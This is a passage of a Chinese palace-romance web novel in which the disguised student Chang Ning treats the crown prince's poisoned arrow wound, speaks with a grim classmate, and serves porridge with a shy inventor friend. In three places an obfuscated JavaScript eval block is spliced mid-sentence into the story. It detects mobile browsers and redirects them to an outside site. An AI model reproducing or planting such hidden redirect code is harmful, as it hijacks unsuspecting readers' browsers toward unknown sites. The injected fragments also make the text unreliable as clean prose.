常宁捏着鼻子一口闷了，也不吃糖，对着姜夫人一展示碗底:“娘，我去玩了！” …… 常宁最喜欢花钱。 高兴了花钱，不高兴了也要花钱。 常宁一花钱，别人就喜欢她，喜欢了她就对着她笑。常宁喜欢看别人笑，最不喜欢看别人难受。 云策自认和常宁从小一起长大，却依旧不能理解常宁这撒钱的癖好。 但常宁今日请他吃了天香楼，他就不纠结这些了，走在宫道上，帮常宁提了一路的食盒。 这是常宁带给李稚的。往日里常宁都是直接去寻李稚，今日却兜了个圈，到德妃宫里去拜见姑母，请姑母转交给李稚。 德妃还笑着，打趣常宁长大了。 常宁才不会不好意思，骄傲地点点头，“姑母，我娘最近得了些蜀锦，也让我一同给您送来。” 她也不在这里多待，说了会儿话就告辞了。 云策还在等常宁，倚在宫墙上，懒洋洋的，见了常宁眼睛一亮，“怎么去这么久？” “久吗？”常宁可不觉得，午间的休憩连一半都没过，还早着呢。 时辰还早，他们便绕了些路，到东宫去看李稷。 这是老规矩了，常宁和云策在皇宫里形影不离，每日有空便要去东宫走一走。李稷平日里没什么要他们做的，但也乐意看他们过来。 今日去了东宫，却没见到李稷。 小黄门道是李稷近日身体不适，庆和帝召了他去御前。 …… 刘总管伴着李稷入宣政殿时，整个殿里静悄悄的。 庆和帝侧卧在地，一手撑头，一手高举酒壶，醉得不省人事。 皇帝日中醉于宣政殿，刘总管与殿前柳公公对上视线，柳公公无奈地吐出一个“赵”字。 新晋得宠的赵美人。 在儿子面前，庆和帝不仅不尴尬，反而丢了酒壶，对儿子招手，“稷儿，过来吃酒。” 庆和帝贪图美色，又耽于享乐，近来虽有心整治朝堂，却有心无力。时日一久，厌烦之余，便又沉溺于酒肉。 李稷肩上负着箭伤。箭上有毒，疼痛难忍，他昨夜一夜都未闭眼，如今膝行至前，恭声道：“儿臣参见父皇。” 庆和帝见了，浑不在意地摆手。醉眼朦胧，他也瞧不出李稷的异样。晨间柳公公呈报李稷的伤势，庆和帝已有醉态，早就忘却了此事。 他唇瓣嗫嚅，李稷便凑近了些，听到模糊的字眼。 “秩儿呢？” 李稷恭谨道：“皇弟在母后宫里。” “叫过来，朕要见秩儿。” 李稷道：“是。” 庆和帝挥手，要柳公公准备醒酒汤，并起居衣物。良久，他才皱眉看向李稷，“你还待在此处作甚？你要入朝参政，朕已经允了。” 李稷顿住，叩首：“父皇天恩，没齿难忘。儿臣告退。” 刘总管一路上小心翼翼。 殿下心绪不佳，他自然也要小心些。 但庆和帝的偏心早就不是一日两日了。 性情活泛又胆大的皇子皇女，总是格外招庆和帝喜爱。李稷虽是嫡长子，太子之位却是数年前庆和帝病重，群臣跪在太极殿前，恳求庆和帝立下的。 半逼半迫，庆和帝本就心有怨气。 更可笑的是，那之后庆和帝不仅没有驾鹤西去，反而愈发康健。 见一次李稷，庆和帝便忆起一次被逼迫的无奈遗恨，不免心中郁郁。这两年待李稷，一日不如一日。 行进御花园，还未抄近道穿过，李稷便听到常宁的笑声。 云策在一旁附和。 常宁说什么，云策总是十分赞成。两人说到趣处，便都捧腹大笑。 李稷依稀记得，云策午间是必须要小憩的，若不睡上一会儿，下午时疲困难忍，几欲睡倒。 可常宁来了御书房后，云策午间便再也没有休憩过，反而和常宁四处晃悠，即便一中午都不睡，也不会困乏。 李稷垂下眼睑。 大抵性情活络之人，总是如他胞弟李秩一般，不仅得父母宠爱，也得兄弟朋友之爱。 李稷不动，刘总管也不敢走。 可李稷已经立在此处，站了少说一刻钟，刘总管犹豫着是否要提醒李稷。 却听到常宁的声音，“云策，你爹常年作战，你知不知道哪里有治箭伤的灵药？特别是箭上有毒的。” 云策语带迟疑：“有是有，但不太好找，求着怕是有些艰难。” 常宁兴冲冲的：“告诉我嘛，我有急用。” 云策声音一紧：“你伤着了？” “怎么可能，”常宁哼哼，“我给别人求的。” 箭伤，带毒。 李稷气势缓和了些。 刘总管笑道：“常伴读这定是给殿下求的，有心了。” 李稷微一颔首：“有心又如何？不如多花些心思在功课上。走吧。” 刘总管隔着花木亭台望向常宁的方向，露出个会心的笑。 正要拔步走，却听到吵闹声。 …… 张侍玉的伤，吃了回春堂的药，并不是很有用。 常宁决定再去寻些灵药来。 她到现在都忘不了侍玉飞檐走壁的模样，还想再看一次。何况张侍玉心情郁郁，常宁看了也难受。 云策靠近常宁，凑到常宁耳边，低声道：“我告诉你，你可别说出去……” “哎哟！” 一颗石子啪嗒一声滚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15307318|167231||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 落在地。 宋念辞手持弹弓，哈哈大笑：“你们两个偷偷摸摸干嘛呢？带我一个！” 常宁捞起那颗石子，嗖地扔给了他，“谁爱理你！” 宋念辞侧身，险险避开，就要往常宁这边来，“常宁，你都两天不理我了。不就看了看你的话本嘛，害羞什么？” 常宁不害羞都被他说脸红了，伸手在面前扇了扇，“你嘴好臭啊。云策，我们走。” 一回头，却见云策正呆呆地看着她。 常宁一拍他肩膀：“快走，愣什么愣。” 云策脸慢腾腾地红了，把常宁挎着的书袋取下来，“我给你拿。” 宋念辞眸子睁大，上前一把拍掉云策的手，扯着常宁书袋的一边带子，要往后拽。 云策哪里肯，拉住了另一边带子，怒喝道：“姓宋的，放手！” 常宁也叫：“你们俩快松开！我的书袋，书袋！要坏了！” 刺啦—— 书袋落在地上，常宁的书和笔墨纸砚散落一地。云策和宋念辞一东一西，各自坐在地上，双目冒火地看着对方。 常宁咬牙切齿。 宋念辞要骂，就见云策蹭地站了起来，浑身肌肉贲张，以为是要来肉搏，连忙撸了袖子虎视眈眈。 在他吃人的目光里，云策拾起常宁的书袋，弯腰小心捡起常宁掉落的书，还小心地拍了拍灰。 常宁抱臂，已然和云策统一战线，满是愤怒地瞪着宋念辞。 宋念辞大恨，趁着云策还没收拾完，也跑过去捡笔墨。 最后一本线书静静躺在地上，云策和宋念辞手同时放在线装书上，抬眸对视，争着往后拽。 “我的！” “我的！” 常宁大名还在书上写着，一看那天青色封皮，就知道是她拿来写功课的本子，怕被他二人拉坏，也伸了手去抓，“都让开，是我的！” 奈何两人争得面红耳赤，一时没听进常宁的话。 常宁一狠心，一边一个踩在两人脚背上，痛得云策和宋念辞一起松手跺脚，挤得常宁连连跌着往后摔去。 完了。 常宁紧紧护住宝贝功课，可不能让严先生指责她不写课业。 意料之中的疼痛并没有到来，常宁听到一声闷哼，撞到的东西也软软的。 她一回头，恰对上李稷苍白无血色的脸。 不等刘总管开口，云策和宋念辞便跪了下来，“惊扰殿下，是臣等的过错，还请殿下责罚。” 云策声音很大，常宁被他一提醒，也反应过来，跟着就要请罪，却发现李稷的手还搂在她腰上。 常宁小声道：“殿下？” 李稷垂眸，看到常宁桃花眼扑闪，明亮水润的眼睛里，全然倒映着他的影子。 常宁担心他没听到，放大声又叫了一遍。 云策习武，耳力过人，悄悄抬眼看了一下，疑心自己看错了。 李稷已经放开了常宁，沉声道：“何故争执？” 常宁道：“一时气急。” 云策和宋念辞连连点头。 他们仨都没脸认，争得脸红脖子粗，就为了争谁拿常宁的课业。 李稷早已听全了，也愿意给他们些面子，眸光触及常宁微红的耳尖，忽然有些口干舌燥。 那话本上写，常宁被人揪了耳尖，就什么都依着。而常宁的耳垂圆润可爱，咬起来像是汤圆那层软糯的皮，细腻绵滑。 “都回去吧，常宁留下。” 5. 公孙瑾 云策和宋念辞走了，常宁小心抬眼，觑着李稷的神色。 这一看就是一惊。 李稷面色怎么如此苍白？寻常可不这样的。 莫不是被她撞的？ 常宁心中紧了紧，见李稷招手，忙小跑过去，“殿下，您哪里不舒服吗？” 李稷素来是不惧伤痛的，闻言眸色一凝，抬起一条手臂，示意常宁搀扶着。 常宁还是头一次和李稷靠这么近，甚至能闻到他身上的沉香，不由呼吸一滞，到了亭子里，两人分开了，才侧头悄悄呼吸。 这一回头，就见李稷手已经搭在腰带上，看样子是要解衣衫。刘总管还带着几个小太监，捧着药并排站着。 常宁方才也嗅到血气了，“殿下，稍候。” 李稷手一顿，“何事？” 崩裂了的伤口，涂了药想必还要包扎。虽已经开春，风里却还是寒的。常宁怕他吹了风再添风寒，指指旁边的暖阁，“殿下，不如到那里换药？” 李稷颔首，起身又走向常宁。 常宁认命地搀着他。看样子，伤口大概是她给撞开的，李稷才可劲使唤她。 这么短短一段路，不长，常宁却不喜欢沉香味道，只闭着气偶尔一呼吸，走到暖阁里，险些把自己憋晕过去。 走到外间门口，常宁就不肯再往里面走了，贴墙立在门旁，安心等李稷换药。 李稷却叫常宁。 常宁一进去，就看到李稷半褪了衣衫，袒露出一条臂膀。那血黑红黑红的，把里衣都浸湿一大片。 李稷指指药，看向常宁：“上药。” 常宁还想推脱。李稷和他们不一样，换做别的同窗，不用说，常宁早就热心地上药了。可若是她不小心碰着李稷，只怕李稷要罚她。 犹豫间，对上李稷的目光，常宁无奈接过药瓶，拿起玉棒剜了浓绿的膏药，抹在李稷肩膀上。 李稷眉心微皱。 常宁：“太凉了吗？太医说这样干净些。” 他们平常可都不讲究这些的。也就是李稷，不然常宁自己涂药都是随手抹抹。 常宁露出个笑，举着玉棒，“殿下您忍忍，忍忍就过了。” 不枉她憋气憋了那么久！ 常宁眼角眉梢都是藏不住的坏劲儿，李稷看了却不心烦，伸指挡了玉棒，“不用这个。” 常宁还是有些原则的，也不逗人玩了，“不太好吧？要不拿下去温温？” “麻烦。” 他等不及，常宁就不在乎这些了，指尖剜了些药，在他伤口上揉开。 先前常宁只是看着，虽觉得可怖，却并不觉得多疼。眼下手指几乎将这伤口描摹了个遍，凹凸不平、血肉外翻，才觉出钻心的疼，多嘴问了句，“很疼吗，殿下？” 李稷神情淡淡：“一般。” 常宁不由佩服，“还得是殿下您。” 李稷不语。 常宁手指在他肩上揉着，竟带起来丝丝酥意，和他并不相同。 大抵是常宁爱躲懒，既不好好习文，也不专心学武，只有和公孙瑾骑射时发狠练一天，手上茧子薄，也少些。 李稷还嗅到浅淡的香气，只有常宁靠近他时才有一阵，而后便消散无踪，“熏香了？” “没，”常宁如实答，“兴许是皂角味？” 因着常宁女扮男装，姜夫人很注重小细节，除了皂角，香料一律是不近常宁身的，连近日魏都盛行的衣物熏香也不让常宁碰。 常宁抬起袖子闻了闻，只闻到药香，弯眸笑道：“真没有。” 这时候，刘总管道：“殿下，公孙伴读来了。” “让他等着，”李稷转向常宁，“快些。” “哦哦，”常宁动作快了些，迅速抹完药，取了纱布一圈圈绕在他肩膀上，打结时手从李稷胸膛掠过，听到李稷闷哼一声。 常宁关切道：“怎么了，殿下？” 李稷若有若无地看常宁一眼，吩咐人来更衣，而后便盘坐在榻上，对着榻中桌上的棋局细看，“让他进来。” 常宁准备悄悄退下，也被李稷叫住了，让她在这儿看着。 公孙瑾一身煞气，进来看到常宁，张开的口没发出一个声。 李稷：“说吧。” 公孙瑾请示道：“殿下，不若稍后再谈？” 李稷拈着棋子的手一顿，“你不信常宁？” 常宁垂头。 这怎么就扯上她来了？ 公孙瑾只好继续：“殿下，昨夜行刺您的人，与上次是同一波。您中的毒，臣也查出来了，解药已经交给文太医，等文太医核验过后，会送来给殿下。” 李稷微一颔首，“刺客呢？” 公孙瑾迟疑一瞬，“臣处理掉了。” 李稷追问：“怎样处理的？” 公孙瑾：“绞刑、汤镬之刑。” 常宁眼珠子转转，脊背发凉，头垂得愈发低。 处理掉，是杀掉吗？ 李稷转问常宁：“可是御书房要开课了？” 常宁点头：“是，还有三刻钟。” 李稷：“出去吧。” 常宁如蒙大赦，若不是顾及着礼仪，恨不得奔逃。 从公孙瑾身旁过时，她听到公孙瑾与平时无异的嗓音：“常宁，在外面等我。” 这嗓音叫常宁颤了一下，不点头也不摇头，脚步不停地往外走。 公孙瑾抬眸，对上李稷平平无奇的目光。 李稷把棋子投进棋篓，“来解了这残局。” …… “唉——” 常宁叹气，枕在手臂上，斜眼看书案上的笔架。 云策拧眉：“常宁，你这一会儿都叹第三次气了，谁气你了？” 常宁摇头：“没人气我，我是伤心呢。” 她没应公孙瑾，但放了鸽子还是有点心虚。可不放鸽子，常宁又不知道怎么面对他。 拍拍肩，对他说他受苦了？他这么骄傲又小气，恐怕会觉得她瞧不起他。 若无其事？公孙瑾一眼就能看出来，常宁瞒着他。 云策盘坐在常宁书案对面，歪头看常宁，“我和姓宋的走早了，殿下罚你了？” 宋念辞听了，丢过来一根毛笔砸在云策头上，对着常宁左看右看，“也没伤着啊。” 常宁：“……不是你们。” 不多时，严先生便来了。 这间书斋极大，学子们之间隔得甚远，只是苦了严先生，四处转来转去，嗓音也要放得很大。 轰隆—— 春雷滚滚，雨雾飘摇。 严先生不许关窗，放下了手中的书卷，要堂下的学生们都往窗外看，“春雨贵如油。有了这场雨，百姓的庄稼就抽苗一样疯长。下雨前，农夫就在田里看庄稼，要春耕。下了雨，过些日子，百姓就要除草、扶苗。日后诸位若为一方长官，还望恪尽职守，劝农、助农，让百姓吃上饭，为朝廷收取赋税。” 众学子齐声应是。 严先生是位大学士，不仅精通儒家，对其余诸子学说也都有涉猎。借着这场春雨，严先生索性讲起了农家和墨家。 常宁坐在靠后靠窗的位置，窗外是修长秀美的青竹，在一片雨雾里，氤氲成一团青雾。 朦胧青影间，一抹天青色衣角飘过窗扉。 公孙瑾静立着，也沉默着，任由雨珠砸在衣上、发上，漆黑的眼眸看着常宁。 常宁不知怎的，忽然有些涩涩的，眼睛也热了，不敢和他对视，垂着视线看书。 等严先生说下课，云策邀请常宁一起出宫。 常宁还未开口，公孙瑾便侧身现形，隔着窗子，冷声拒绝云策：“他没空搭理你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15307319|167231||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 云策就要拔步冲向窗子，忽然被常宁扯住衣袖。 常宁埋着头，嗓音闷闷的：“你先走吧，我有些事要处理。” 云策一震，威胁地看向公孙瑾，“常宁，我在宫道上等你。” 人都走没了，常宁把笔墨都放进书袋，抱着被扯掉带子的书袋出去。 常宁眼泪早就流过了，出来时只是眼眸有些湿润，张口想和公孙瑾打个招呼，又不知道该说什么。 公孙瑾青衫淌水，撑开油纸伞，伞沿斜向常宁，又被常宁推正了。 在雨里站了那么久，也没有洗去公孙瑾身上的血腥气。公孙瑾举着伞，长袖因行走摆动，堆叠在肘间，常宁看到熟悉的血痂。 常宁问：“你冷吗？” 公孙瑾低眸，望着常宁的眼睛。 那双桃花眼如此动人，像是春色与风月共同酿造而出的沉浆，清透水润下的无尽醇香。 他摇头，“不冷。” 常宁心绪平复了些，“你今天不是要当值吗，怎么来御书房？” 公孙瑾：“告假了。” 中午还被李稷叫过去，看来是下午告的假。 因为她鸽了他？ 常宁此刻倒是有了几分精气神，“我可没答应要等你，我不是故意放你鸽子的。” 公孙瑾将伞合上，靠在亭子边，突然伸手理了理常宁额角的发。 常宁撇嘴后退：“哎呀，你干嘛？怎么还动手？” “你头发乱了，”公孙瑾直问，“为什么不等我？” 常宁如实相告：“不知道说什么，就走了。” 公孙瑾指骨敲在石桌上，尾音飘扬，“你怕我？” 常宁摇摇头，“我不怕的，只是当时着实想不出来该说什么。” 公孙瑾只是不喜欢她，又不是要害她，常宁自认没什么好怕的。何况公孙瑾虽偶尔嘴毒了些，惯爱和常宁作对，毕竟是多年同窗，品性还是相熟的。更遑论刺客刺杀李稷，致使李稷重伤，想来背后亦有人主使。 常宁只是怕说错了话，伤了和公孙瑾本就不甚牢靠的友谊。公孙瑾家中的境况，常宁是知晓的，晓得他为了老母和枉死的父亲，立志要做人上人。在他没入御书房前，常宁就和他有了交集，先时关系还不错。后来不知为何，常宁一提帮他，他就变脸。便是到了今日，常宁隐约体会到了各人不同的性情，再不曾提此事，关系也没和缓多少。 公孙瑾兴许是不太喜欢她的。 可常宁和公孙瑾，也是同窗、是朋友啊。 他只比常宁大两岁，即使背负仇恨的阴影，常宁也没法想象，他审讯刑犯、施刑杀人时，是怎样的心境，也不知道他被伤到时，可会疼痛落泪？ 常宁也不信他会滥杀无辜。 公孙瑾望着雨帘，“现在可有想说的？” 常宁桃花眼灼灼，很认真地问:“你怕吗？” 公孙瑾一愣，随即讥讽一笑：“有什么可怕的？” 常宁听到他呼吸有一瞬的错乱，不再追问，转而道：“如果想给伯父报仇，你如今已经能做到了，不必再如此拼命。” “不够，”公孙瑾双眸紧盯常宁，“这还远远不够。” 常宁着实不解：“你究竟想要什么？” 难道能提前出御书房的人，都要这样上进有斗志吗？常宁觉得，若真是如此，她只怕要被多留好几年了。 想想都丢人。 “你不会知道的，”公孙瑾垂眸，屈指划着腕上的血痂，“常宁，给我一条墨。” 常宁抖搂书袋，翻出来好几条，“够吗？我都给你。” 天色已经不早了，常宁得回家，不然姜夫人要着急，于是起身告辞。 她拎着书袋要走，公孙瑾忽而道：“常宁，别怕我。” 常宁皱眉：“我没怕你啊。” 6. 施粥 常宁的情绪来得快，去得也快，和云策在京中一晃悠，到自家府门时，便又是一副嘻笑模样。 “娘，我书袋坏了！” 她抱着书袋，小跑着进了姜夫人的院子。 姜夫人扶额，微吐出一口气，“宁宁，你今年坏几个书袋了？” 常宁数了一下，心虚道：“也就……三个吧？” 这才开春没多少天，常宁自个也觉得她有点费书袋。 “这是第五个，”姜夫人一瞧常宁，心下就有些成算，“这次又是哪个同窗弄坏的？” “哎呀，娘，关他们什么事啊，”常宁妄图蒙混过关，挥挥手道，“我们关系可好着呢，没人欺负我。” 姜夫人和丈夫没拘着孩子的道理，但这书袋坏得着实有些频繁，遂捧起茶盏撇撇茶沫，忽而道：“明日休沐，你到京里施粥去。” 常宁眸子微睁，“娘，要不下次？我明天还想出去玩。” “没门，”姜夫人让常宁把旧书袋留下，放进收拢常宁旧物的箱笼里，“你这孩子，可上点心吧。” 施粥这事常宁干过很多次了。 常宁外祖是有名的儒商，最是乐善好施，连带着常宁母亲和舅父都怜贫惜弱。自常宁晓事起，姜夫人就带着常宁去自家产业里晃悠。 说是不乐意，可真应下了，常宁还是兴冲冲的，为明日施粥做准备。 担忧张侍玉一个人闷得慌，常宁还到他跟前，特意问他是否要和她一起去，“施粥很有意思的。” 张侍玉闭眼：“不去。” 常宁拿了毛茸茸的线团，在他脸上扫了扫，他也无动于衷，“那好吧，你在家养伤。” 张侍玉霍然睁眼，和常宁对视，常宁弯眸一笑。 除了那几个相熟同窗的气息，他还嗅到了血气、沉香气。 “你若是还和其他人有来往，就不要再来找我了。” 常宁先是疑惑一瞬，而后明白了他的意思，“为什么？大家都是我的同窗和朋友啊，像你一样。” 张侍玉吐出两个字，“呆瓜。” …… 姜夫人逢五施粥，过年过节另加。若是遇到天灾，也时常捐钱捐物。 一座魏都，有几百个坊，街市无数。不只是常宁家施粥，别家也施，只是没常宁家这么重视。 如此大一座城，施粥点也多。常宁每每只挑一处施上半日，其余半日带着丫鬟小厮溜街逛，背着手狐假虎威地巡视一番，再讨一碗粥喝，一天也就过去了。 春阳光辉无限，常宁忙忙碌碌，额上沁出细密的汗，打粥打得手都酸了。 管事看常宁累，让常宁去歇上一刻钟，稍后继续。常宁也不推脱，当下就坐在竹椅里，胡乱擦汗。 不远处一群小孩见了常宁，被常宁鲜艳夺目的衣着吸引，好奇地盯着常宁看。常宁就挥手，笑着叫他们，“来来来，一起吃糖。” 享受着小孩的膜拜下，常宁摸出饴糖，笑眯眯道：“想吃吗？” “吃了可要说我的好话，我叫常宁。” 管事这边指挥着人施粥，常宁的话不间断地飘入他耳中。听着他少东家面不改色地忽悠小孩，不时地逗小孩玩，不禁失笑。 “谁是最好看的人？” “常宁！” “对对对。那谁是说话最好听的人？” “常宁！” “怎么这么聪明啊，有没有人比你们更聪明？” “是常宁呀！” 孩子们声音稚嫩，偏又卯足了劲儿吆喝，眼珠子紧紧盯着常宁的手，声线是越发整齐划一，呼声震天。 管事笑着摇头，周围捧碗领粥的百姓听了，跟着捧腹大笑。 这一错眼，他便瞧见拐角处转出来个灰袍少年，斜来一眼，被吓到似的慌忙转了个身，捉着衣角浑身紧绷着。 倒是又被迎面走来的几个大汉逼进了死胡同。 恃强凌弱，本就是不平事。何况管事总觉着有几分眼熟，视线落到常宁那儿，这才想起在少东家身旁见过他，遂凑近对常宁耳语一番。 常宁拍拍手，把果干递给一个小厮，让他陪这群小孩玩，自个带着一干人等，高声道：“江兄，江兄！江晚照！快来帮忙！” 她声音高高的，老远就飘过去，见胡同里走出来个探头探脑的瘦汉。瘦汉本是不耐烦，瞧见常宁一行来势汹汹，又打着哆嗦退回巷子。 不多时，几个凶神恶煞的壮汉从巷子里出来，故作不经意地瞥向常宁身后的侍卫。 常宁一把合起折扇，龇了下牙，挨个打在他们背上，“看什么看！这么凶干嘛！走走走，挡着道了！” 这几个人常宁没见过，但姜夫人拿画册警告过常宁。他们放印子钱，利滚利非常高，让常宁不要被他们哄骗了去。 常宁挥挥手，扒在巷口看了看，让一道来的丫鬟小厮先回去，自个进去了。 少年局促地站着，脸上还有几道灰印子。常宁就这么走了几步，他看着都要哭出来了，双手绞着衣袖，连眼睛往哪里看都不知道。 “你可算来了，”常宁扬起个笑，对着他瞧了瞧，见人没事，递过去一张帕子，“江兄，你这可不厚道，昨天还和我说最近都不研究新农具了呢。” 常宁以为他在这儿……研究新农具？ 江晚照迟疑片刻，低声道：“那个、常宁，我昨天不是故意瞒你的。我、我今天才想起来做新农具。” “我晓得了，晓得了，”远处有个日晷，常宁伸长了脖子去看，懊恼地叫了一声，拉着江晚照手腕就往外冲，“先来帮我施粥嘛，我忙不过来。” 管事见少东家带着同窗风风火火过来，默默帮常宁抹了个零，多少维护些常宁的面子，“夫人说，只给您休息一刻钟，时间到了可不能再加了。” 常宁目露感激，欢欣雀跃，捞起木勺打粥，“我听我娘的！” 江晚照涨红了脸，垂着眼问管事：“我来干，能让常宁接着休息吗？” 常宁堪称感动，惺惺作态地抹了抹眼角，发现没眼泪，惹来一片笑意。 她也不管，示意他快过来，“咱们一起嘛，我是请你来帮我的，又不是抓你过来替我的。” 管事也道：“是，两个人干，今天少东家能早点结束。” 施粥是个精细的体力活，常宁却喜欢，一边稳稳打粥，一边和人闲话。 江晚照静静打粥。可站在常宁身旁，便总有不尽的和善目光望着他，问他和常宁什么关系。 他磕磕巴巴的，话音不成句子，常宁就骄傲地代他答话，“别打趣人！这是我江兄，同窗，我常宁的好朋友！他可厉害着呢，等以后大家伙种地， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15307320|167231||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说不准用的就是他改良的农具！” 江晚照手有些抖。八字没一撇的事，他都不敢说，常宁怎么就这么信誓旦旦地夸他？若是他做不出来，常宁岂不是要被人笑话？ 可常宁这一提，他就无暇顾及常宁了。盖因来领粥的百姓到了他面前，就有不间断的问题等着他。他慢慢也能回上两句，虽干巴，却算得上清晰。 常宁与人闲谈，隔一会儿就把话头往江晚照身上引，一句“这是我同窗”也能被她说出豪情万丈的气势。 江晚照看向常宁，握着木勺的手紧了紧。 无论多少人注视着常宁，常宁永远泰然自若，嬉笑怒骂浑然天成。不管是在御书房还是在市井之中，常宁都是目光的焦点，三言两语便能令人放下心防。 常宁的世界是阳光、是雨露，是一片欣欣向荣，仅仅是无意间向他倾泄来一丝，就能让他的生活发生天翻地覆的变化。 离午时还有半个时辰，管事就叫常宁停了：“您今日就到这里。” 看江晚照还在干，常宁拍拍他，示意他来喝粥。 江晚照一顿：“你就喝这个？” 常宁挑眉：“我家做的，我不能喝？我还要喝两碗呢。” 等她忽悠着江晚照打了两碗，自个溜去消食，江晚照才反应过来，常宁喝一碗就跑了。 严先生的课业是真难，常宁哪里研究过墨家，又哪里研究过农家？春雨如此美好，严先生借着春雨谈兴大发，可苦了常宁了。 于是常宁决定，在这灿烂的春日里，和江同窗一起，在永定河畔……赶功课。 常宁不甚精通，就问江晚照，看他一拿起标尺就神采奕奕、双目明亮，不禁喝彩，“好样的！” 她拿起他的画纸，对着太阳透光看，惊奇道：“你这功底，不可谓不深，想来外面小有名气的大家也不过如此。我娘这两天正着急给铁匠铺寻先生呢，一时半会是找不到的，铺子里却离不开人。咱们关系这么好，你可要帮帮我，先来对付一阵。” 隔了好一会儿，江晚照才小声问，“哪个铺子？” “正阳，”常宁苦恼叹气，“人手马虎不得，我娘也愁呢。” 这时候常宁也有些埋怨，怎么陛下把人招进御书房，还不让人吃饱饭？公孙瑾是一个，这边又来一个。 正阳是魏都有名的铁匠铺，技艺精湛，颇受魏人青睐，薪资也高。常宁必不会短缺了他的薪酬，可江晚照还是有些惴惴不安。 他总是禁不住想，这是不是常宁给他开的后门？ 等他回神，这话早就吞吞吐吐问出口了，顿时一阵羞窘。 常宁捧着肚子笑：“新先生去了，也要从头学，你可不比他们差。就是你平日要去御书房，要来帮我，想是得早起晚睡，我还怕你不肯来。” “常宁，”这两个字像是烫嘴，江晚照说得极快，“我去的。” “那就这么说定了，今晚你就能去，”常宁对着书页叹气，“我要是有你这么精通，就不怕严先生了。” “你、你跟得上，”江晚照一遍遍说着，又迅速垂下头，“你什么都跟得上。” “谢谢，”常宁被哄得神清气爽，坐在草地上四处望，忽然望见一个熟悉的身影。 在永定河对岸，车水马龙的街道旁，窗边那淡漠的身形，像是……李稷？ 7. 谈话 常宁看到了，自然不能不理会，当下也顾不得继续写功课，拉着江晚照整理了仪容，噔噔噔跑进茶楼。 侍卫守在门口，常宁请他们通报一下，不多时便笑眯眯地进去了。 就说怪怪的，李稷拿着鱼竿鱼线，准备钓鱼呢。 屋子里哪里有鱼？常宁环视一周，殷勤地把鱼缸搬到李稷面前，又带上饵料把鱼钩扔进去，满意地看向李稷。 “殿下，现在可以钓鱼了。” 李稷眸中的寒意散了些，刘总管笑出了声：“常伴读，殿下只是擦一擦鱼钩。” 常宁苦恼地哦了一声，和江晚照排排站，等李稷发话。 “你们一起做什么？” “写功课，”江晚照害羞，常宁就答了，“好难的功课。每天都好难。” 李稷将两人的功课都收上来，翻开看了看。 江晚照的锐意进取，便是李稷也能看出可取之处。与之相比，常宁的略黯淡一些。但这黯淡是江晚照映衬下的黯淡，并不能令人忽视其本身的光芒。 当年庆和帝于民间择取优秀学子入御书房，不拘一格，不只是选了饱学儒家的弟子，也选了些在某一方面有突出天赋的少年。 公孙瑾善主刑名，江晚照长于工艺，刘常德精于算赋……诸如此类少年英才，求学时或许不打眼，在为政眼中便光芒璀璨。 李稷考问江晚照，常宁在一旁专心地听。 江晚照进御书房进得晚，李稷早就不在御书房进学了。对这位太子殿下，江晚照又敬又畏，担忧自己笨拙木讷惹怒殿下。可李稷问了他几句，他眼睛便亮起来，两人兴致勃勃地探讨着。 太子殿下，也是研究过墨家的。 抱着李稷赐下的金块，江晚照神情恍惚，“殿下，臣能分常宁一些吗？” 常宁早就走远了些，坐在窗边看河水。拱桥上有杂耍人，拿木棍顶着碗底转碗玩，碗撂得老高，引了常宁的目光。常宁便远远地抛下去几枚碎银子，精准掷入小学徒讨赏钱的瓷碗中，无声抚掌。 李稷：“孤赐你的，为何要分常宁？” 江晚照以为李稷不悦，“不、不分了。” 刘总管笑笑：“江公子，殿下只是问问，您如实回答就是。” 他也许久未见过这样直肠子的了。殿下赐的金块又没有标记，要送人大可私下相送，捅出来倒伤了情分。 江晚照：“没常宁，臣今天见不到您。” “去吧，”李稷颔首，“到外面等着。” 耳边安静了一会儿，常宁回头，雅间里就剩她和李稷等人了，“殿下，臣能走了吗？” 李稷指指身侧。 刘总管指挥人添出来一个位子，“您坐这儿。” 案上玉盘里，放着红彤彤的樱桃，还带着绿叶子。常宁看得胃口大开，中午那一碗粥，此时就是没消化尽，她也觉得饿，连李稷衣料上的沉香味也能忍了。 李稷捧书研读，“吃吧。” “谢谢殿下。”常宁太高兴了。如今樱桃还没长成，要从很远的南方运来，一路冰封疾行，价格奇高，还有价无市。姜夫人认为太奢靡，勒令不许家中采买这些，也不允许常宁在家中吃。常宁每次吃到当季没有的蔬果，大都是在同窗那里。 樱桃个大皮红又多汁，常宁捻着吃了几颗，嘴里甜津津的，到底是念起姜夫人的嘱托，不再多吃，拿出帕子擦擦手指。 李稷这才注意到，常宁指尖染了点红，“不吃了？” 常宁意犹未尽，“吃够了。” 